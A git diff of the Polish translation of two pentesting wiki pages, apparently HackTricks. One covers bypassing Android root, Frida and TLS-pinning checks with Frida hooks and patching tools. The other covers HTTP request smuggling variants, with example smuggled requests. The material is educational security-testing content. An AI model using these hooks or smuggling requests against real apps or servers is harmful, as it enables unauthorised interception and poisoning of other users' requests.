diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index ca50d8253..045fe2498 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,30 +2,30 @@ {{#include ../../banners/hacktricks-training.md}} -Ta strona przedstawia praktyczny workflow do odzyskania analizy dynamicznej aplikacji Android, które wykrywają/blokują instrumentację lub wymuszają pinning TLS. Skupia się na szybkim triage, powszechnych wykryciach oraz skryptach/taktykach do kopiowania, aby je obejść bez repakowania, gdy to możliwe. +Ta strona przedstawia praktyczny workflow do odzyskania analizy dynamicznej przeciw aplikacjom Android, które wykrywają/blokują instrumentację z powodu roota lub wymuszają TLS pinning. Skupia się na szybkiej triage, typowych detekcjach oraz gotowych do wklejenia hookach/taktykach umożliwiających obejście ich bez repackowania, gdy to możliwe. -## Detection Surface (co sprawdzają aplikacje) +## Detection Surface (what apps check) -- Kontrole root: su binary, ścieżki Magisk, wartości getprop, powszechne pakiety root -- Kontrole Frida/debuggera (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), skanowanie /proc, classpath, załadowane biblioteki -- Native anti‑debug: ptrace(), syscalls, anti‑attach, punkty przerwania, inline hooks -- Kontrole wczesnej inicjalizacji: Application.onCreate() lub haki startowe procesu, które powodują awarię, jeśli instrumentacja jest obecna -- TLS pinning: niestandardowy TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins +- Root checks: su binary, Magisk paths, getprop values, common root packages +- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs +- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks +- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present +- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins -## Step 1 — Szybkie zwycięstwo: ukryj root za pomocą Magisk DenyList +## Step 1 — Quick win: hide root with Magisk DenyList -- Włącz Zygisk w Magisk -- Włącz DenyList, dodaj docelowy pakiet -- Uruchom ponownie i przetestuj +- Enable Zygisk in Magisk +- Enable DenyList, add the target package +- Reboot and retest -Wiele aplikacji szuka tylko oczywistych wskaźników (su/ścieżki Magisk/getprop). DenyList często neutralizuje naiwne kontrole. +Wiele aplikacji szuka tylko oczywistych wskaźników (su/Magisk paths/getprop). DenyList często neutralizuje naiwne sprawdzenia. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk -## Step 2 — Testy Frida Codeshare w 30 sekund +## Step 2 — 30‑second Frida Codeshare tests -Wypróbuj powszechne skrypty drop-in przed głębszym zanurzeniem: +Try common drop‑in scripts before deep diving: - anti-root-bypass.js - anti-frida-detection.js @@ -35,24 +35,24 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -Te zazwyczaj stają się stubami dla kontroli Java root/debug, skanów procesów/usług oraz natywnego ptrace(). Przydatne w słabo chronionych aplikacjach; wzmocnione cele mogą wymagać dostosowanych haków. +Zwykle to zastępuje sprawdzenia Java root/debug, process/service scans oraz natywne ptrace(). Przydatne w słabiej chronionych aplikacjach; w przypadku mocniej zabezpieczonych celów mogą być potrzebne dopasowane hooks. - Codeshare: https://codeshare.frida.re/ -## Krok 3 — Obejście detektorów w czasie inicjalizacji przez późniejsze podłączenie +## Krok 3 — Ominięcie detektorów inicjalizacji przez późne dołączanie -Wiele detekcji działa tylko podczas uruchamiania procesu/onCreate(). Wstrzyknięcia w czasie uruchamiania (-f) lub gadżety są wykrywane; podłączenie po załadowaniu UI może przejść niezauważone. +Wiele detekcji działa tylko podczas tworzenia procesu/onCreate(). Spawn‑time injection (-f) lub gadgets zostają wykryte; dołączenie po załadowaniu UI może to ominąć. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -Jeśli to działa, utrzymaj sesję stabilną i przejdź do mapowania oraz sprawdzania stubów. +Jeśli to zadziała, utrzymaj sesję stabilną i przejdź do mapowania oraz stub checks. -## Krok 4 — Mapowanie logiki detekcji za pomocą Jadx i poszukiwania ciągów +## Krok 4 — Mapowanie logiki wykrywania za pomocą Jadx i przeszukiwania łańcuchów znaków -Słowa kluczowe do triage statycznego w Jadx: +Statyczne słowa kluczowe do wstępnej analizy w Jadx: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" Typowe wzorce Java: @@ -61,16 +61,16 @@ public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -Common APIs do przeglądu/hookowania: +Typowe API do przeglądu/hook: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices - java.lang.System.loadLibrary / System.load (native bridge) - java.lang.Runtime.exec / ProcessBuilder (probing commands) - android.os.SystemProperties.get (root/emulator heuristics) -## Krok 5 — Stubbing w czasie rzeczywistym z Frida (Java) +## Krok 5 — Stubowanie w czasie wykonania z Frida (Java) -Zastąp niestandardowe zabezpieczenia, aby zwracały bezpieczne wartości bez ponownego pakowania: +Nadpisz niestandardowe mechanizmy ochronne, aby zwracały bezpieczne wartości bez repackowania: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -Triaging wczesnych awarii? Zrzucaj klasy tuż przed tym, jak umiera, aby zidentyfikować prawdopodobne przestrzenie nazw wykrywania: +Triaging early crashes? Dump classes tuż przed zakończeniem, aby zidentyfikować prawdopodobne detection namespaces: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -94,7 +94,7 @@ onComplete: () => console.log('Done') }); }); ``` -Zaloguj i zneutralizuj podejrzane metody, aby potwierdzić przepływ wykonania: +Zaloguj i unieszkodliw podejrzane metody, aby potwierdzić przebieg wykonania: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -104,24 +104,24 @@ return false; }; }); ``` -## Krok 6 — Śledź ścieżkę JNI/natywną, gdy haki Java zawodzą +## Krok 6 — Śledź ścieżkę JNI/native, gdy Java hooks zawodzą -Śledź punkty wejścia JNI, aby zlokalizować natywne ładowarki i inicjalizację detekcji: +Prześledź JNI entry points, aby zlokalizować native loaders i detection init: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -Szybka natywna triage pakietowanych plików .so: +Szybka natywna ocena dołączonych plików .so: ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -Interaktywne/natywne odwracanie: +Interaktywne/native reversing: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -Przykład: neuter ptrace, aby pokonać prostą anty‑debug w libc: +Przykład: unieszkodliwić ptrace, aby pokonać prosty anti‑debug w libc: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -130,40 +130,43 @@ return -1; // pretend failure }, 'int', ['int', 'int', 'pointer', 'pointer'])); } ``` -Zobacz także: {{#ref}} +Zobacz też: +{{#ref}} reversing-native-libraries.md {{#endref}} -## Krok 7 — Patching Objection (wbudowany gadżet / podstawy stripowania) +## Krok 7 — Objection patching (embed gadget / strip basics) -Kiedy wolisz repakowanie od haków czasu wykonywania, spróbuj: +Jeśli wolisz repacking zamiast runtime hooks, spróbuj: ```bash objection patchapk --source app.apk ``` Notatki: -- Wymaga apktool; upewnij się, że masz aktualną wersję z oficjalnego przewodnika, aby uniknąć problemów z budowaniem: https://apktool.org/docs/install -- Wstrzykiwanie gadgetów umożliwia instrumentację bez roota, ale może być nadal wykrywane przez silniejsze kontrole w czasie inicjalizacji. +- Wymaga apktool; upewnij się, że masz aktualną wersję zgodnie z oficjalnym przewodnikiem, aby uniknąć problemów z budowaniem: https://apktool.org/docs/install +- Gadget injection umożliwia instrumentation bez root, ale nadal może zostać wykryte przez silniejsze init‑time checks. -Odniesienia: +Odnośniki: - Objection: https://github.com/sensepost/objection -## Krok 8 — Alternatywa: Łatka TLS pinning dla widoczności sieci +## Krok 8 — Plan awaryjny: Modyfikacja TLS pinning dla widoczności ruchu sieciowego -Jeśli instrumentacja jest zablokowana, nadal możesz analizować ruch, usuwając pinning statycznie: +Jeżeli instrumentation jest zablokowane, nadal możesz analizować ruch, usuwając pinning statycznie: ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - Narzędzie: https://github.com/shroudedcode/apk-mitm -- Aby uzyskać informacje o sztuczkach zaufania CA w konfiguracji sieci (i zaufaniu CA użytkownika w Androidzie 7+), zobacz: +- W kwestii network config CA‑trust tricks (and Android 7+ user CA trust), zobacz: + {{#ref}} make-apk-accept-ca-certificate.md {{#endref}} + {{#ref}} install-burp-certificate.md {{#endref}} -## Przydatna ściągawka z poleceniami +## Przydatne polecenia (cheat‑sheet) ```bash # List processes and attach frida-ps -Uai @@ -183,12 +186,12 @@ apk-mitm app.apk ``` ## Wskazówki i uwagi -- Preferuj dołączanie później niż uruchamianie, gdy aplikacje zawieszają się przy uruchamianiu -- Niektóre detekcje są ponownie uruchamiane w krytycznych procesach (np. płatności, autoryzacja) — utrzymuj haki aktywne podczas nawigacji -- Mieszaj statyczne i dynamiczne: przeszukuj ciągi w Jadx, aby skrócić listę klas; następnie hakuj metody, aby zweryfikować w czasie rzeczywistym -- Wzmocnione aplikacje mogą używać pakietów i natywnego TLS pinning — spodziewaj się odwrotnego inżynierii kodu natywnego +- Preferuj attaching late zamiast spawning, gdy aplikacje crashują przy uruchomieniu +- Niektóre detekcje uruchamiają się ponownie w krytycznych przepływach (np. payment, auth) — utrzymuj hooks aktywne podczas nawigacji +- Łącz analizę statyczną i dynamiczną: string hunt w Jadx, aby zawęzić listę klas; następnie hookuj metody, by zweryfikować je w czasie wykonania +- Wzmocnione aplikacje mogą używać packers i native TLS pinning — spodziewaj się reverse native code -## Odniesienia +## References - [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/) - [Frida Codeshare](https://codeshare.frida.re/) diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index a2b5b2f73..b26405f32 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -2,62 +2,62 @@ {{#include ../../banners/hacktricks-training.md}} + ## Co to jest -Ta luka występuje, gdy **desynchronizacja** między **proxy front-end** a serwerem **back-end** pozwala **atakującemu** na **wysłanie** żądania HTTP, które będzie **interpretowane** jako **jedno żądanie** przez **proxy front-end** (load balance/reverse-proxy) i **jako 2 żądania** przez serwer **back-end**.\ -To pozwala użytkownikowi na **zmodyfikowanie następnego żądania, które dotrze do serwera back-end po jego**. +Ta podatność występuje, gdy występuje **desynchronizacja** pomiędzy **front-end proxies** a serwerem **back-end**, co pozwala **attacker** wysłać żądanie HTTP, które będzie **interpretowane** jako **pojedyncze żądanie** przez **front-end** proxies (load balance/reverse-proxy) i **jako 2 żądania** przez serwer **back-end**.\ To pozwala użytkownikowi **zmodyfikować następne żądanie, które dotrze do back-end po jego**. -### Teoria +### Theory -[**Specyfikacja RFC (2161)**](https://tools.ietf.org/html/rfc2616) +[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) -> Jeśli wiadomość jest odbierana z nagłówkiem Transfer-Encoding oraz nagłówkiem Content-Length, ten ostatni MUSI być zignorowany. +> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored. **Content-Length** -> Nagłówek Content-Length wskazuje rozmiar ciała encji, w bajtach, wysłanego do odbiorcy. +> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient. **Transfer-Encoding: chunked** -> Nagłówek Transfer-Encoding określa formę kodowania używaną do bezpiecznego przesyłania ciała ładunku do użytkownika.\ -> Chunked oznacza, że duże dane są wysyłane w serii kawałków. +> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\ +> Chunked means that large data is sent in a series of chunks -### Rzeczywistość +### Reality -**Front-End** (load-balance / Reverse Proxy) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_ a serwer **Back-end** **przetwarza drugi**, co powoduje **desynchronizację** między 2 systemami.\ -Może to być bardzo krytyczne, ponieważ **atakujący będzie mógł wysłać jedno żądanie** do reverse proxy, które będzie **interpretowane** przez serwer **back-end** **jako 2 różne żądania**. **Niebezpieczeństwo** tej techniki polega na tym, że serwer **back-end** **zinterpretuje** **2. wstrzyknięte żądanie** tak, jakby **pochodziło od następnego klienta**, a **prawdziwe żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**. +Front-End (a load-balance / Reverse Proxy) **przetwarza** nagłówek _**Content-Length**_ lub _**Transfer-Encoding**_, a serwer **Back-end** przetwarza **drugi z nich**, powodując **desynchronizację** pomiędzy tymi dwoma systemami.\\ +To może być bardzo krytyczne, ponieważ **attacker** będzie w stanie wysłać jedno żądanie do reverse proxy, które będzie **interpretowane** przez serwer **back-end** **jako 2 różne żądania**. Niebezpieczeństwo tej techniki polega na tym, że serwer **back-end** **zinterpretuje** **wstrzyknięte drugie żądanie** tak, jakby **pochodziło od następnego klienta**, a prawdziwe żądanie tego klienta stanie się **częścią** żądania wstrzykniętego. -### Szczególności +### Szczegóły -Pamiętaj, że w HTTP **nowa linia składa się z 2 bajtów:** +Pamiętaj, że w HTTP **znak nowej linii składa się z 2 bajtów:** -- **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby** **bajtów** ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, **nowa linia nie jest potrzebna na końcu żądania**. -- **Transfer-Encoding:** Ten nagłówek używa w **ciele** **liczby szesnastkowej** do wskazania **liczby** **bajtów** **następnego kawałka**. **Kawałek** musi **kończyć się** nową linią, ale ta nowa linia **nie jest liczona** przez wskaźnik długości. Ta metoda transferu musi kończyć się **kawałkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0` -- **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu w przypadku HTTP Request Smuggling. +- **Content-Length**: Ten nagłówek używa **liczby dziesiętnej**, aby wskazać **liczbę bajtów** w **body** żądania. Oczekuje się, że body kończy się na ostatnim znaku, **nowa linia nie jest wymagana na końcu żądania**. +- **Transfer-Encoding:** Ten nagłówek używa w **body** **liczby szesnastkowej**, aby wskazać **liczbę bajtów** następnego **chunka**. **Chunk** musi **kończyć się** nową linią, ale ta nowa linia **nie jest zliczana** przez wskaźnik długości. Ta metoda transferu musi zakończyć się **chunkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0` +- **Connection**: Z mojego doświadczenia zaleca się używanie **`Connection: keep-alive`** w pierwszym żądaniu Request Smuggling. -## Podstawowe przykłady +## Basic Examples > [!TIP] -> Próbując wykorzystać to z Burp Suite **wyłącz `Update Content-Length` i `Normalize HTTP/1 line endings`** w repeaterze, ponieważ niektóre gadżety nadużywają nowych linii, powrotów karetki i źle sformułowanych długości treści. +> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths. -Ataki HTTP request smuggling są tworzone poprzez wysyłanie niejednoznacznych żądań, które wykorzystują różnice w tym, jak serwery front-end i back-end interpretują nagłówki `Content-Length` (CL) i `Transfer-Encoding` (TE). Ataki te mogą manifestować się w różnych formach, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalną kombinację tego, jak serwery front-end i back-end priorytetują te nagłówki. Luka powstaje, gdy serwery przetwarzają to samo żądanie w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych skutków. +HTTP request smuggling attacks są tworzone przez wysyłanie niejednoznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków `Content-Length` (CL) i `Transfer-Encoding` (TE) przez front-end i back-end. Te ataki mogą przyjmować różne formy, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie tego, jak front-end i back-end priorytetyzują te nagłówki. Podatności wynikają z tego, że serwery przetwarzają to samo żądanie w różny sposób, co prowadzi do nieoczekiwanych i potencjalnie złośliwych skutków. -### Podstawowe przykłady typów luk +### Basic Examples of Vulnerability Types ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg) > [!TIP] -> Do poprzedniej tabeli powinieneś dodać technikę TE.0, jak technikę CL.0, ale używając Transfer Encoding. +> Do powyższej tabeli należy dodać technikę TE.0, podobnie jak technikę CL.0, ale używając Transfer-Encoding. -#### Luka CL.TE (Content-Length używany przez Front-End, Transfer-Encoding używany przez Back-End) +#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End) - **Front-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`. - **Back-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`. - **Scenariusz ataku:** -- Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie odpowiada rzeczywistej długości treści. -- Serwer front-end przesyła całe żądanie do back-endu, opierając się na wartości `Content-Length`. -- Serwer back-end przetwarza żądanie jako kawałkowe z powodu nagłówka `Transfer-Encoding: chunked`, interpretując pozostałe dane jako osobne, następne żądanie. +- Atacker wysyła żądanie, w którym wartość nagłówka `Content-Length` nie odpowiada rzeczywistej długości treści. +- Front-end przekazuje całe żądanie do back-end zgodnie z wartością `Content-Length`. +- Back-end przetwarza żądanie jako chunked z powodu nagłówka `Transfer-Encoding: chunked`, interpretując pozostałe dane jako oddzielne, następne żądanie. - **Przykład:** ``` @@ -73,15 +73,15 @@ GET /404 HTTP/1.1 Foo: x ``` -#### Luka TE.CL (Transfer-Encoding używany przez Front-End, Content-Length używany przez Back-End) +#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End) - **Front-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`. - **Back-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`. - **Scenariusz ataku:** -- Atakujący wysyła żądanie kawałkowe, w którym rozmiar kawałka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie są zgodne. -- Serwer front-end, honorując `Transfer-Encoding`, przesyła całe żądanie do back-endu. -- Serwer back-end, respektując `Content-Length`, przetwarza tylko początkową część żądania (`7b` bajtów), pozostawiając resztę jako część niezamierzonego następnego żądania. +- Atacker wysyła żądanie chunked, w którym rozmiar chunka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie zgadzają się. +- Front-end, honorując `Transfer-Encoding`, forwarduje całe żądanie do back-end. +- Back-end, respektując `Content-Length`, przetwarza tylko początkową część żądania (`7b` bajtów), pozostawiając resztę jako niezamierzone kolejne żądanie. - **Przykład:** ``` @@ -102,14 +102,14 @@ x= ``` -#### Luka TE.TE (Transfer-Encoding używany przez oba, z obfuskacją) +#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation) -- **Serwery:** Oba wspierają `Transfer-Encoding`, ale jeden może być oszukany, aby go zignorować poprzez obfuskację. +- **Servers:** Oba obsługują `Transfer-Encoding`, ale jeden może zostać oszukany, aby go zignorować poprzez obfuskację. - **Scenariusz ataku:** -- Atakujący wysyła żądanie z obfuskowanymi nagłówkami `Transfer-Encoding`. -- W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuskacji, może zostać wykorzystana luka CL.TE lub TE.CL. -- Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią następnego żądania, prowadząc do smugglingu. +- Atacker wysyła żądanie z obfuskowanymi nagłówkami `Transfer-Encoding`. +- W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuskacji, można wykorzystać podatność CL.TE lub TE.CL. +- Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią kolejnego żądania, prowadząc do smugglingu. - **Przykład:** ``` @@ -129,10 +129,10 @@ Transfer-Encoding : chunked ``` -#### **Scenariusz CL.CL (Content-Length używany przez oba, Front-End i Back-End)** +#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)** - Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`. -- Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ istnieje zgodność w tym, jak oba serwery interpretują długość żądania. +- Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ istnieje zgodność w sposobie interpretacji długości żądania przez oba serwery. - **Przykład:** ``` @@ -144,10 +144,10 @@ Connection: keep-alive Normal Request ``` -#### **Scenariusz CL.0** +#### **CL.0 Scenario** -- Odnosi się do scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość inną niż zero, co wskazuje, że ciało żądania ma zawartość. Serwer back-end ignoruje nagłówek `Content-Length` (który jest traktowany jako 0), ale front-end go analizuje. -- Jest to kluczowe w zrozumieniu i tworzeniu ataków smugglingowych, ponieważ wpływa na to, jak serwery określają koniec żądania. +- Odnosi się do scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość różną od zera, wskazując, że body żądania zawiera treść. Back-end ignoruje nagłówek `Content-Length` (traktowany jako 0), ale front-end go parsuje. +- Ma to kluczowe znaczenie przy zrozumieniu i tworzeniu ataków smuggling, ponieważ wpływa na to, jak serwery określają koniec żądania. - **Przykład:** ``` @@ -159,11 +159,11 @@ Connection: keep-alive Non-Empty Body ``` -#### Scenariusz TE.0 +#### TE.0 Scenario -- Podobnie jak poprzedni, ale używając TE. -- Technika [zgłoszona tutaj](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- **Przykład:** +- Podobne do poprzedniego, ale używające TE +- Technika [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) +- **Przykład**: ``` OPTIONS / HTTP/1.1 Host: {HOST} @@ -181,33 +181,33 @@ x: X EMPTY_LINE_HERE EMPTY_LINE_HERE ``` -#### Łamanie serwera WWW +#### Zakłócanie działania serwera WWW -Ta technika jest również przydatna w scenariuszach, w których możliwe jest **złamanie serwera WWW podczas odczytywania początkowych danych HTTP**, ale **bez zamykania połączenia**. W ten sposób **ciało** żądania HTTP będzie traktowane jako **następne żądanie HTTP**. +Ta technika jest również przydatna w scenariuszach, gdzie możliwe jest **spowodowanie awarii serwera WWW podczas odczytu początkowych danych HTTP**, ale **bez zamykania połączenia**. W ten sposób **treść** żądania HTTP będzie uznana za **następne żądanie HTTP**. -Na przykład, jak wyjaśniono w [**tym opisie**](https://mizu.re/post/twisty-python), w Werkzeug możliwe było wysłanie niektórych **znaków Unicode**, co spowodowało **złamanie** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, ciało żądania nie zostanie odczytane, a połączenie nadal będzie otwarte, więc **ciało** żądania będzie traktowane jako **następne żądanie HTTP**. +Na przykład, jak wyjaśniono w [**this writeup**](https://mizu.re/post/twisty-python), w Werkzeug można było wysłać pewne znaki **Unicode**, co spowodowało **awarię** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, treść żądania nie zostanie odczytana, a połączenie pozostanie otwarte, więc **treść** żądania będzie traktowana jako **następne żądanie HTTP**. -#### Wymuszanie przez nagłówki hop-by-hop +#### Wymuszanie przez hop-by-hop headers -Wykorzystując nagłówki hop-by-hop, możesz wskazać serwerowi proxy, aby **usunął nagłówek Content-Length lub Transfer-Encoding, aby możliwe było nadużycie smugglingu żądań HTTP**. +Nadużywając hop-by-hop headers, można wymusić, by proxy **usunęło nagłówek Content-Length lub Transfer-Encoding, dzięki czemu możliwe będzie wykorzystanie HTTP request smuggling**. ``` Connection: Content-Length ``` -Dla **więcej informacji na temat nagłówków hop-by-hop** odwiedź: +Po więcej informacji o **hop-by-hop headers** zobacz: {{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}} -## Znajdowanie HTTP Request Smuggling +## Wykrywanie HTTP Request Smuggling -Identyfikacja podatności na HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo trwa odpowiedź serwera na manipulowane żądania. Techniki te są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności: +Identyfikacja podatności HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwacji, ile czasu zajmuje serwerowi odpowiedź na zmanipulowane żądania. Techniki te są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Poza tymi metodami istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności: -### Znajdowanie podatności CL.TE za pomocą technik czasowych +### Wykrywanie podatności CL.TE za pomocą technik czasowych - **Metoda:** -- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer zaplecza będzie czekał na dodatkowe dane. +- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych. - **Przykład:** ``` @@ -223,18 +223,18 @@ A ``` - **Obserwacja:** -- Serwer front-end przetwarza żądanie na podstawie `Content-Length` i przerywa wiadomość przedwcześnie. -- Serwer zaplecza, oczekując na wiadomość w formacie chunked, czeka na następny kawałek, który nigdy nie nadchodzi, co powoduje opóźnienie. +- Serwer front-end przetwarza żądanie w oparciu o `Content-Length` i przerywa wiadomość przedwcześnie. +- Serwer back-end, oczekując wiadomości w formacie chunked, czeka na następny chunk, który nigdy nie nadchodzi, powodując opóźnienie. - **Wskaźniki:** -- Przekroczenia czasu lub długie opóźnienia w odpowiedzi. -- Otrzymanie błędu 400 Bad Request od serwera zaplecza, czasami z szczegółowymi informacjami o serwerze. +- Przekroczenia czasu (timeout) lub długie opóźnienia w odpowiedzi. +- Otrzymanie błędu 400 Bad Request od serwera back-end, czasami z dodatkowymi informacjami o serwerze. -### Znajdowanie podatności TE.CL za pomocą technik czasowych +### Wykrywanie podatności TE.CL za pomocą technik czasowych - **Metoda:** -- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer zaplecza będzie czekał na dodatkowe dane. +- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-end będzie oczekiwał dodatkowych danych. - **Przykład:** ``` @@ -249,41 +249,41 @@ X ``` - **Obserwacja:** -- Serwer front-end przetwarza żądanie na podstawie `Transfer-Encoding` i przesyła całą wiadomość. -- Serwer zaplecza, oczekując na wiadomość na podstawie `Content-Length`, czeka na dodatkowe dane, które nigdy nie nadchodzą, co powoduje opóźnienie. +- Serwer front-end przetwarza żądanie w oparciu o `Transfer-Encoding` i przekazuje całe żądanie. +- Serwer back-end, oczekując wiadomości opartej na `Content-Length`, czeka na dodatkowe dane, które nigdy nie nadchodzą, powodując opóźnienie. ### Inne metody znajdowania podatności -- **Analiza różnic w odpowiedziach:** -- Wyślij nieco zmienione wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazuje na niezgodność w analizie. -- **Używanie narzędzi automatycznych:** +- **Analiza różnic odpowiedzi:** +- Wyślij lekko zmodyfikowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazywałoby na rozbieżność w parsowaniu. +- **Użycie narzędzi automatycznych:** - Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi. - **Testy zmienności Content-Length:** -- Wyślij żądania z różnymi wartościami `Content-Length`, które nie są zgodne z rzeczywistą długością treści i obserwuj, jak serwer radzi sobie z takimi niezgodnościami. +- Wyślij żądania z różnymi wartościami `Content-Length`, które nie odpowiadają rzeczywistej długości treści i obserwuj, jak serwer radzi sobie z takimi niezgodnościami. - **Testy zmienności Transfer-Encoding:** -- Wyślij żądania z zafałszowanymi lub źle sformułowanymi nagłówkami `Transfer-Encoding` i monitoruj, jak różnie serwery front-end i zaplecza reagują na takie manipulacje. +- Wyślij żądania z obfuskowanymi lub uszkodzonymi nagłówkami `Transfer-Encoding` i monitoruj, jak różnie front-end i back-end reagują na takie manipulacje. -### Testowanie podatności na HTTP Request Smuggling +### Testowanie podatności HTTP Request Smuggling -Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie, czy żądania klienta mogą być manipulowane. Prosta metoda to próba zainfekowania swoich żądań, na przykład, aby żądanie do `/` zwróciło odpowiedź 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Podstawowych przykładach](#basic-examples) pokazują, jak zainfekować żądanie klienta, aby wywołać odpowiedź 404, mimo że klient dążył do uzyskania dostępu do innego zasobu. +Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie, czy żądania klienta da się zmanipulować. Prostym sposobem jest próba poisonowania żądań, na przykład sprawienie, by żądanie do `/` zwracało odpowiedź 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Basic Examples](#basic-examples) pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że 